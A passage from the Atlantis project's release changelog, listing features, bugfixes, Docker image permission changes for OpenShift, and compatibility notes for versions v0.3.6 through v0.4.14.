Strategy allows you to choose if Atlantis checks out the exact branch\nfrom the pull request or what the destination branch will look like once the pull\nrequest is merged. You can choose your checkout strategy via the `--checkout-strategy`\nflag which supports `branch` (the default) or `merge`.\n\nDiff: https://github.com/runatlantis/atlantis/compare/v0.4.13...v0.4.14\n\n## Features\n* Can now be configured to **automatically merge pull requests** after all plans have\n  been applied. See https://www.runatlantis.io/docs/automerging.html. (Fixes [#186](https://github.com/runatlantis/atlantis/issues/186))\n* New `--checkout-strategy` flag which supports checking out the code as it will\n  look once the pull request was merged. Previously we only supported checking out\n  the pull request branch which might be out of date with the destination branch\n  and so cause Terraform to delete resources that have already been applied.\n  See https://www.runatlantis.io/docs/checkout-strategy.html. (Fixes [#35](https://github.com/runatlantis/atlantis/issues/35)\n* Support Terraform 0.12 by version detection and then changing how Atlantis runs\n  its Terraform commands. ([#419](https://github.com/runatlantis/atlantis/pull/419))\n* New `--tfe-token` flag to support using Terraform Enterprise's Free Remote State Storage. ([#419](https://github.com/runatlantis/atlantis/pull/419))\n\n## Bugfixes\n* Run plan in directory when file is moved. (Fixes [#413](https://github.com/runatlantis/atlantis/issues/413))\n* Fix bug where when Terraform crashed, Atlantis would hang indefinitely. ([#421](https://github.com/runatlantis/atlantis/pull/421))\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n**The release downloads have been deleted because this release contains a critical bug**\n\n## Docker\n**The release downloads have been deleted because this release contains a critical bug**\n\n# v0.4.13\n\n## Description\nThis release is focused on quick-wins, bugfixes and one new feature that allows\nusers to require pull requests be \"mergeable\", before allowing for `atlantis apply`.\n\nThe mergeable apply requirement is very useful for GitHub users where it allows\nthem to require pull requests be approved by specific users or require certain\nstatus checks to pass. See https://www.runatlantis.io/docs/apply-requirements.html#mergeable for\nmore information.\n\nDiff: https://github.com/runatlantis/atlantis/compare/v0.4.12...v0.4.13\n\n## Features\n* Introduce a new (optional) `mergeable` apply requirement that requires pull requests to be mergeable prior to allowing `apply` to run. (Fixes [#43](https://github.com/runatlantis/atlantis/issues/43))\n* If users have workspaces configured for a directory via an `atlantis.yaml` file, only allow\n    commands to be run on those workspaces. All commands attempted to be run on different workspaces will error out.\n\n    For example, if I have an `atlantis.yaml` file:\n    ```yaml\n    version: 2\n    projects:\n    - dir: mydir\n      workspace: default\n    - dir: mydir\n      workspace: staging\n    ```\n    Then I can run `atlantis apply -d mydir -w default` and `atlantis apply -d mydir -w staging`\n    but I will receive an error if I run `atlantis apply -d mydir -w somethingelse`.\n\n* If users are setting the `name` key for their projects in `atlantis.yaml`, then\n  include the project name in the comment output so it's easier to identify which\n  plan/apply output is for which project. (Fixes [#353](https://github.com/runatlantis/atlantis/issues/353)))\n* Bump the Terraform version in the Docker image to `0.11.11`.\n* Tweak logging to add timezone to the timestamp and make the output more readable. ([#402](https://github.com/runatlantis/atlantis/pull/402))\n* Warn users if running `atlantis apply -- -target=myresource` because `-target` can\n  only be specified during `atlantis plan`. (Fixes [#399](https://github.com/runatlantis/atlantis/issues/399))\n\n## Bugfixes\n* If `terraform plan` returns an error, print the error to the pull request. ([#381](https://github.com/runatlantis/atlantis/pull/381))\n* Split Bitbucket Server comments into multiple comments if over the max size. (Fixes [#280](https://github.com/runatlantis/atlantis/issues/280))\n* Fix issue where if users specified `--gitlab-hostname` without a scheme then Atlantis wouldn't parse the URL correctly. ([#377](https://github.com/runatlantis/atlantis/issues/377))\n* Give better error message if GitLab users are commenting on commits instead of a merge request. (Fixes [#150](https://github.com/runatlantis/atlantis/issues/150), [#390](https://github.com/runatlantis/atlantis/issues/390))\n* If an error occurs early in request processing, comment that error back on the pull request.\n  Previously, we *were* commenting back on errors but not for errors very early in the processing. (Fixes [#398](https://github.com/runatlantis/atlantis/issues/398))\n\n## Backwards Incompatibilities / Notes:\n* The version of Terraform installed in the `runatlantis/atlantis` Docker image\n  is now `0.11.11`. Previously it was `0.11.10`.\n* If you are a) using an `atlantis.yaml` file and b) defining Terraform workspaces\n    and c) running plan and apply against workspaces that **were not** defined in the\n    `atlantis.yaml` file, then this no longer works.\n\n    You will now need to define all the workspaces in the `atlantis.yaml` file.\n    For example, say you had the following config:\n    ```yaml\n    version: 2\n    projects:\n    - dir: mydir\n      workspace: production\n    ```\n\n    And you used to run:\n    ```\n    atlantis plan -d mydir -w anotherworkspace\n    atlantis apply -d mydir -w anotherworkspace\n    ```\n\n    For this to work now, you need to add the `anotherworkspace` workspace to your\n    `atlantis.yaml` file:\n    ```yaml\n    version: 2\n    projects:\n    - dir: mydir\n      workspace: production\n    - dir: mydir\n      workspace: anotherworkspace\n    ```\n\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.13/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.13/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.13/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.13/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.13`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.12\n\n## Description\nSmall feature and bug fix release. If you're using GitLab <11.1 then your\ncomment formatting is fixed!\n\nDiff: https://github.com/runatlantis/atlantis/compare/v0.4.11...v0.4.12\n\n## Features\n- Atlantis can now be hosted behind a path-based router and its UI will still\n  render correctly. For example, you could host atlantis at mydomain.com/mypath,\n  then run `atlantis server --atlantis-url https://mydomain.com/mypath` and when\n  atlantis renders its UI, all the URLs will have the `/mypath` prefix so the UI\n  renders properly. (Fixes [#213](https://github.com/runatlantis/atlantis/issues/213))\n- Log warning if GitLab hostname isn't resolvable. (Fixes [#359](https://github.com/runatlantis/atlantis/issues/359))\n- Support running our official Docker image `runatlantis/atlantis` on OpenShift. OpenShift runs images\n  with random uids so we needed to build in support for that. (Fixes [#345](https://github.com/runatlantis/atlantis/issues/345))\n\n## Bugfixes\n- If the output is too long for a single GitHub comment, maintain formatting when\n  splitting into multiple comments. (Fixes [#111](https://github.com/runatlantis/atlantis/issues/111))\n- Fix bug with using the pagination API in BitBucket. ([#354](https://github.com/runatlantis/atlantis/pull/354))\n- If using GitLab < 11.1 then don't use expandable markdown comments. (Fixes [#315](https://github.com/runatlantis/atlantis/issues/315))\n- Fix output from custom steps that came before the plan step from being removed. ([#367](https://github.com/runatlantis/atlantis/pull/367))\n\n## Backwards Incompatibilities / Notes:\nWe made [changes](https://github.com/runatlantis/atlantis/pull/346) to the base image (`runatlantis/atlantis-base`) that\n`runatlantis/atlantis` is built off of. These changes **should not** affect your\nrunning of atlantis unless you're building your own custom images and were relying\non specific user permissions. Even then we don't anticipate any problems.\n\nThese are the changes in detail:\n1. Previously, the permissions of `/home/atlantis` were:\n     ```bash\n     $ ls -la /home/atlantis/\n     drwxr-sr-x    2 atlantis atlantis      4096 Sep 13 22:49 .\n     ```\n   Now they are:\n    ```bash\n    $ ls -la /home/atlantis/\n    drwxrwxr-x    2 atlantis root          4096 Nov 28 21:22 .\n    ```\n   * The directory is now owned by the `root` group.\n   * Its group permissions now include `w` and `x`.\n\n   This was needed because OpenShift runs Docker images as random uid's under\n   the root group and so now those random uid's can use `/home/atlantis` as their\n   data directory.\n\n1. Previously, the `atlantis` user was only part of its own group:\n    ```bash\n    $ gosu atlantis sh\n    $ whoami\n    atlantis\n    $ groups\n    atlantis\n    ```\n\n    Now it's also part of the `root` group:\n    ```bash\n    $ gosu atlantis sh\n    $ groups\n    atlantis root\n    ```\n1. Previously, the permissions for `/etc/passwd` were:\n    ```bash\n    $ ls -la /etc/passwd\n    -rw-r--r--    1 root     root          1284 Sep 13 22:49 /etc/passwd\n    ```\n\n    Now the permissions are:\n    ```bash\n    $ ls -la /etc/passwd\n    -rw-rw-r--    1 root     root          1284 Nov 28 21:22 /etc/passwd\n    ```\n\n    The `w` group permission was added so that in OpenShift, the random uid can write\n    their own login entry (https://github.com/runatlantis/atlantis/blob/main/docker-entrypoint.sh#L28)\n    which is required because `terraform` expects the running user to have an entry\n    in `/etc/passwd`.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.12/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.12/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.12/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.12/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.12`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.11\n\n## Description\nMedium sized release that updates the Terraform version and makes `terraform plan`\noutput smaller by removing the `Refreshing...` output.\n\nDiff: https://github.com/runatlantis/atlantis/compare/v0.4.10...v0.4.11\n\n## Features\n* Upgraded Docker image to use Terraform 0.11.10\n* `terraform plan` output is shorter now thanks to remove the `Refreshing...` output ([#339](https://github.com/runatlantis/atlantis/pull/339))\n* Project names specified in `atlantis.yaml` can now contain `/`'s. This is useful\nif you want to name your projects similar to the directories they're in. (Fixes [#253](https://github.com/runatlantis/atlantis/issues/253))\n* Added new flag `--silence-whitelist-errors` which prevents Atlantis from comment back on pull requests\nfrom non-whitelisted repos. This is useful if you want to add the Atlantis webhook to a whole organization\nand then control which repos are actioned on via the whitelist. (Fixes [#312](https://github.com/runatlantis/atlantis/issues/312))\n* The message when the project is locked is now more helpful. ([#336](https://github.com/runatlantis/atlantis/pull/336))\n* Run `terraform plan` with `-var atlantis_repo_owner=runatlantis -var atlantis_repo_name=atlantis -var atlantis_pull_num=10`\n(if the repo was runatlantis/atlantis) ([#300](https://github.com/runatlantis/atlantis/pull/300))\n\n## Bugfixes\n* Quote plan filenames so that Bitbucket projects with spaces in their names still work (Fixes [#302](https://github.com/runatlantis/atlantis/issues/302))\n\n## Backwards Incompatibilities / Notes:\n* Atlantis now runs `terraform plan` with\n    ```bash\n    -var atlantis_repo_owner=runatlantis \\\n    -var atlantis_repo_name=atlantis \\\n    -var atlantis_pull_num=10\n    ```\n\n    (in this example the repo that Atlantis is running on is runatlantis/atlantis).\n\n    If you were using those variables in your terraform code:\n    ```hcl\n    variable \"atlantis_repo_owner\" {\n      default = \"my_default\"\n    }\n    ```\n\n    Then Atlantis will be overriding those variables with its own values. To prevent\n    this, you need to rename your variables.\n\n    If you aren't using those variables then this change won't affect you.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.11/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.11/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.11/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.11/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.11`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.10\n\n## Description\nSmall bugfix release to fix issues with new comment format.\n\nDiff: https://github.com/runatlantis/atlantis/compare/v0.4.9...v0.4.10\n\n## Features\nNone\n\n## Bugfixes\n* Fix bad comment rendering ([#294](https://github.com/runatlantis/atlantis/issues/294))\n* Fix `plan` not working on Bitbucket Server when repo owner contains spaces ([#290](https://github.com/runatlantis/atlantis/issues/290))\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.10/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.10/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.10/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.10/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.10`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.9\n\n## Description\nThis release is mostly focused on changing how comments look. Terraform output\nis now automatically hidden if it's over 12 lines long:\n![https://user-images.githubusercontent.com/1034429/45580771-d4603b80-b849-11e8-8c4b-5984bd0bff7f.png](https://user-images.githubusercontent.com/1034429/45580771-d4603b80-b849-11e8-8c4b-5984bd0bff7f.png)\nAlso the red and green highlighting for added and removed resources is fixed:\n![https://user-images.githubusercontent.com/1034429/45580777-d9bd8600-b849-11e8-8f2d-867fbf4e72d7.png](https://user-images.githubusercontent.com/1034429/45580777-d9bd8600-b849-11e8-8f2d-867fbf4e72d7.png)\n\nDiff: https://github.com/runatlantis/atlantis/compare/v0.4.8...v0.4.9\n\n## Features\n* Terraform output over 12 lines is hidden in comment until expanded\n* `terraform plan` output is highlighted correctly\n* Terraform is now executed with `-var atlantis_repo={repo name} -var atlantis_pull_num {pull num}`.\nThis will allow users to trace Atlantis `terraform` executions in CloudTrail back to a specific\nuser and pull request if using assume role by creating a specific name for the session Terraform initiates.\n```\nprovider \"aws\" {\n  assume_role {\n    role_arn     = \"arn:aws:iam::ACCOUNT_ID:role/ROLE_NAME\"\n    session_name = \"${var.atlantis_user}-${var.atlantis_repo}-${var.atlantis_pull_num}\"\n  }\n}\n```\n\n## Bugfixes\n* Run terraform with `-input=false` ([#268](https://github.com/runatlantis/atlantis/issues/268)).\n\n## Backwards Incompatibilities / Notes:\n* We set two new Terraform variables: `atlantis_repo` and `atlantis_pull_num`. If\nyou were using variables with those names in your code you will need to rename them\nin your code.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.9/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.9/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.9/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.9/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.9`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.8\n\n## Description\nSecurity release to upgrade the Docker image to the latest version of Alpine linux that fixes\nthis bug: https://justi.cz/security/2018/09/13/alpine-apk-rce.html\n\nDiff: https://github.com/runatlantis/atlantis/compare/v0.4.7...v0.4.8\n\n## Features\nNone\n\n## Bugfixes\n* Change server startup message to INFO from WARN level.\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.8/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.8/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.8/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.8/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.8`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n\n# v0.4.7\n\n## Description\nSupport GitLab repos nested under multiple levels and use the latest version of Terraform: 0.11.8!\n\n## Features\n* Support GitLab groups which allow repos to be nested under multiple levels,\nex. `gitlab.com/owner/group/subgroup/subsubgroup/repo`\n* Use latest version of Terraform: 0.11.8 in Docker image\n\n## Bugfixes\n* When running with `TF_LOG` set, Atlantis will start normally. Previously it\nwould error out due to attempting to parse the stderr output of the `terraform version`\ncommand.\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.7/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.7/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.7/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.7/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.7`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.6\n\n## Description\nJust a small bugfix release.\n\n## Features\nNone\n\n## Bugfixes\n* If `terraform init` fails, include the failure logs in the comment posted back to the PR.\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.6/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.6/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.6/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.6/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.6`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.5\n\n## Features\n* `atlantis apply` now applies **all** unapplied plans instead of just the plan in the root directory. ([#169](https://github.com/runatlantis/atlantis/issues/169))\n* `atlantis plan` now plans **all** modified projects instead of just the root directory.\n* Plan comments now contain instructions for how to run apply or re-run plan.\n\n## Bugfixes\n* Ignore approvals from the pull request author (Bitbucket Cloud only). Fixes ([#201](https://github.com/runatlantis/atlantis/issues/201))\n* When double clicking on a GitHub comment, ex.\n    ```\n    atlantis apply\n    ```\n  GitHub would add two newlines to the end. If this was then pasted into a new\n  comment, Atlantis would accept it because of the extra newlines. This has been fixed\n  and the comment with two newlines will be accepted.\n\n## Backwards Incompatibilities / Notes:\n* `atlantis apply` now applies **all** unapplied plans. Previously it would only apply the plan in the root directory and default workspace.\n* `atlantis plan` now plans **all** modified projects. Previously it would only run plan in the root directory and default workspace.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.5/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.5/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.5/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.5/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.5`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.4\n\n## Features\n* Supports Bitbucket Server ([#190](https://github.com/runatlantis/atlantis/issues/190)).\n\n## Bugfixes\n* Fix `/etc/hosts` not being respected ([#196](https://github.com/runatlantis/atlantis/issues/196)).\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.4/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.4/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.4/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.4/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.4`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.3\n\n## Features\n* Supports Bitbucket Cloud (bitbucket.org) ([#30](https://github.com/runatlantis/atlantis/issues/30)).\n\n## Bugfixes\nNone\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.3/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.3/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.3/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.3/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.3`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.2\n\n## Features\n* Don't comment on pull request if autoplan determines there are no projects to plan in.\nThis was getting very noisy for users who use their repos for more than just Terraform ([#183](https://github.com/runatlantis/atlantis/issues/183)).\n\n## Bugfixes\nNone\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.2/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.2/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.2/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.2/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.2`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.1\n\n## Features\n* Add new `/healthz` endpoint for health checking in Kubernetes ([#102](https://github.com/runatlantis/atlantis/issues/102))\n* Set `$PLANFILE` environment variable to expected location of plan file when running custom steps ([#168](https://github.com/runatlantis/atlantis/issues/168))\n    * This enables overriding the command Atlantis uses to `plan` and substituting your own or piping through a custom script.\n* Changed default pattern to detect changed files to `*.tf*` from `*.tf` in order\nto trigger on `.tfvars` files.\n\n## Bugfixes\nNone\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.1/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.1/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.1/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.1/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.1`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.4.0\n\n## Features\n* Autoplanning - Atlantis will automatically run `plan` on new pull requests and\nwhen new commits are pushed to the pull request.\n* New repository `atlantis.yaml` format that supports:\n    * Complete customization of plans run\n    * Single config file for whole repository\n    * Controlling autoplanning\n* Moved docs to standalone website from the README.\n* Fixes:\n    * [#113](https://github.com/runatlantis/atlantis/issues/113)\n    * [#50](https://github.com/runatlantis/atlantis/issues/50)\n    * [#46](https://github.com/runatlantis/atlantis/issues/46)\n    * [#39](https://github.com/runatlantis/atlantis/issues/39)\n    * [#28](https://github.com/runatlantis/atlantis/issues/28)\n    * [#26](https://github.com/runatlantis/atlantis/issues/26)\n    * [#4](https://github.com/runatlantis/atlantis/issues/4)\n\n## Bugfixes\n\n## Backwards Incompatibilities / Notes:\n- The old `atlantis.yaml` config file format is not supported. You will need to migrate to the new config\nformat, see: https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html\n- To use the new config file, you must run Atlantis with `--allow-repo-config`.\n- Atlantis will now try to automatically plan. To disable this, you'll need to create an `atlantis.yaml` file\nas follows:\n```yaml\nversion: 2\nprojects:\n- dir: mydir\n  autoplan:\n    enabled: false\n```\n- `atlantis apply` no longer applies all un-applied plans but instead applies only the plan in the root directory and default workspace. This will be reverted in an upcoming release\n- `atlantis plan` no longer plans in all modified projects but instead runs plan only in the root directory and default workspace. This will be reverted in an upcoming release.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.0/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.0/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.0/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.4.0/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.4.0`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.3.11\n\n## Features\nNone\n\n## Bugfixes\n* If the `TF_LOG` environment variable is set, should still be able to start. Previously `atlantis server` would exit immediately because it couldn't parse the output of `terraform version`.\n\n## Backwards Incompatibilities / Notes:\nNone\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.11/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.11/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.11/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.11/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.3.11`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.3.10\n\n## Features\n* Rename `atlantis bootstrap` to `atlantis testdrive` to make it clearer that it\ndoesn't set up Atlantis for you. Fixes ([#129](https://github.com/runatlantis/atlantis/issues/129)).\n* Atlantis will now comment on a pull request when a plan/lock is discarded from\nthe Atlantis UI. Fixes ([#27](https://github.com/runatlantis/atlantis/issues/27)).\n\n## Bugfixes\n* Fix issue during `atlantis bootstrap` where ngrok tunnel took a long time to start.\nAtlantis will now wait until it sees the expected log entry before continuing.\nFixes ([#92](https://github.com/runatlantis/atlantis/issues/92)).\n* Fix missing error checking during `atlantis bootstrap`. ([#130](https://github.com/runatlantis/atlantis/pulls/130)).\n\n## Backwards Incompatibilities / Notes:\n* `atlantis bootstrap` renamed to `atlantis testdrive`\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.10/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.10/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.10/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.10/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.3.10`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n# v0.3.9\n\n## Features\n* None\n\n## Bugfixes\n* Fix GitLab approvals not actually checking approval ([#114](https://github.com/runatlantis/atlantis/issues/114))\n\n## Backwards Incompatibilities / Notes:\n* None\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.9/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.9/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.9/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.9/atlantis_linux_arm.zip)\n\n# v0.3.8\n\n## Features\n* Terraform 0.11.7 in Docker image\n* Docker build now verifies terraform install via checksum\n\n## Bugfixes\n* None\n\n## Backwards Incompatibilities / Notes:\n* None\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.8/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.8/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.8/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.8/atlantis_linux_arm.zip)\n\n# v0.3.7\n\n## Bugfixes\n* `--repo-whitelist` is now case insensitive. Fixes ([#95](https://github.com/runatlantis/atlantis/issues/95)).\n\n## Backwards Incompatibilities / Notes:\n* None\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.7/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.7/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.7/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.7/atlantis_linux_arm.zip)\n\n# v0.3.6\n\n## Features\n* `atlantis server -h` has newlines between flags so it's easier to read ([#91](https://github.com/runatlantis/atlantis/issues/91)).\n\n## Bugfixes\n* `atlantis bootstrap` uses a custom ngrok config file so it should work even\nif the user is already running another ngrok tunnel ([#93](https://github.com/runatlantis/atlantis/issues/93)).\n\n## Backwards Incompatibilities / Notes:\n* None\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.3.6/atlantis_darwin_amd64.zip)\n* 